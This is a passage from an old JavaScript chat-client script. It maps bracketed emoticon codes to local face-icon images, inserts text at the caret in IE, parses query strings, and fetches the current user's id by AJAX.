code=CovCodex(code,"[/惊恐]","<IMG src=\"IM_interface/faceicon/26.gif\">")
code=CovCodex(code,"[/流汗]","<IMG src=\"IM_interface/faceicon/27.gif\">")
code=CovCodex(code,"[/憨笑]","<IMG src=\"IM_interface/faceicon/28.gif\">")
code=CovCodex(code,"[/大兵]","<IMG src=\"IM_interface/faceicon/29.gif\">")
code=CovCodex(code,"[/奋斗]","<IMG src=\"IM_interface/faceicon/30.gif\">")
code=CovCodex(code,"[/咒骂]","<IMG src=\"IM_interface/faceicon/31.gif\">")
code=CovCodex(code,"[/疑问]","<IMG src=\"IM_interface/faceicon/32.gif\">")
code=CovCodex(code,"[/嘘]","<IMG src=\"IM_interface/faceicon/33.gif\">")
code=CovCodex(code,"[/晕]","<IMG src=\"IM_interface/faceicon/34.gif\">")
code=CovCodex(code,"[/折磨]","<IMG src=\"IM_interface/faceicon/35.gif\">")
code=CovCodex(code,"[/哀]","<IMG src=\"IM_interface/faceicon/36.gif\">")
 code=CovCodex(code,"[/骷髅]","<IMG src=\"IM_interface/faceicon/37.gif\">") 
 code=CovCodex(code,"[/敲打]","<IMG src=\"IM_interface/faceicon/38.gif\">")
 code=CovCodex(code,"[/再见]","<IMG src=\"IM_interface/faceicon/39.gif\">")
 code=CovCodex(code,"[/擦汗]","<IMG src=\"IM_interface/faceicon/40.gif\">")
 code=CovCodex(code,"[/抠鼻]","<IMG src=\"IM_interface/faceicon/41.gif\">")
 code=CovCodex(code,"[/鼓掌]","<IMG src=\"IM_interface/faceicon/42.gif\">")
 code=CovCodex(code,"[/糗大了]","<IMG src=\"IM_interface/faceicon/43.gif\">")
 code=CovCodex(code,"[/坏笑]","<IMG src=\"IM_interface/faceicon/44.gif\">") 
 code=CovCodex(code,"[/左哼哼]","<IMG src=\"IM_interface/faceicon/45.gif\">") 
 code=CovCodex(code,"[/右哼哼]","<IMG src=\"IM_interface/faceicon/46.gif\">")
 code=CovCodex(code,"[/哈欠]","<IMG src=\"IM_interface/faceicon/47.gif\">")
 code=CovCodex(code,"[/鄙视]","<IMG src=\"IM_interface/faceicon/48.gif\">") 
 code=CovCodex(code,"[/委屈]","<IMG src=\"IM_interface/faceicon/49.gif\">")



	return code;





}


function AddMsgTextArea(code)
{
	var cp=GetTextAreaPoint(document.getElementById("sendmsg"));
	document.getElementById("sendmsg").focus();
	var workRange=document.selection.createRange();
	workRange.text=workRange.text.charAt(0,cp)+code+workRange.text.charAt(cp+1)
	//insertAtCaret(document.getElementById("sendmsg"),code);
}

function storeCaret (textEl) { if (textEl.createTextRange) textEl.caretPos = document.selection.createRange().duplicate(); } 
function insertAtCaret (textEl, text) { if (textEl.createTextRange && textEl.caretPos) { var caretPos = textEl.caretPos; caretPos.text =caretPos.text.charAt(caretPos.text.length - 1) == ' ' ?text + ' ' : text; } else textEl.value = text; }

function GetTextAreaPoint(obj)     
  {     
    //var   rng   =   srce.createTextRange(); 
    //rng.moveToPoint(event.x,event.y);       
    //rng.moveStart("character",-event.srcElement.value.length)       
        
    //pnum.value   =   rng.text.length     
   // srce.focus();    
	// returnCase(rng)     
	//return rng.text;
	//return rng.text.length ;
	 obj.focus();
	 var workRange=document.selection.createRange();
	 obj.select();
	 var allRange=document.selection.createRange();
	 workRange.setEndPoint("StartToStart",allRange);
	 var len=workRange.text.length;
	 workRange.collapse(false);
	 workRange.select();
	//alert(len);

	return(len);//返回文本域文本长度

  }

function CovCodex(code,recode,newcode)
{   
	var i=0;
	while(i=code.indexOf(recode,i)>=0)
		code=code.replace(recode,newcode);
	return code;

}

function GetQueryvalue(sorStr,panStr) 
{ 

	var vStr=""; 
	if (sorStr==null || sorStr=="" || panStr==null || panStr=="") return vStr; 
	sorStr = sorStr.toLowerCase();
	panStr += "="; 
	var itmp=sorStr.indexOf(panStr); 
	if (itmp<0){return vStr;} 
	sorStr = sorStr.substr(itmp + panStr.length); 
	itmp=sorStr.indexOf("&"); 
	if (itmp<0)
	{
	return sorStr; 
	} 
	else 
	{
	sorStr=sorStr.substr(0,itmp); 
	return sorStr;
	} 
} 

function CheckRush()
{

}
//setTimeout("ReadMsg()",3000); 
//setInterval("ReadMsg()",3000); 



var myuser_Id="";


function getMyId()            // fmy自己加的
{
	var ajax=new AJAXRequest;
	ajax.get(
		"j.aspx?action=getuserid&n="+Math.random(),
		function(obj) {
			
      
			  if(obj!=null && obj.responseText!=''&& obj.responseText!='[]'){ 
			
				myuser_Id= obj.responseText
				
			}
			
		}
	);
 }



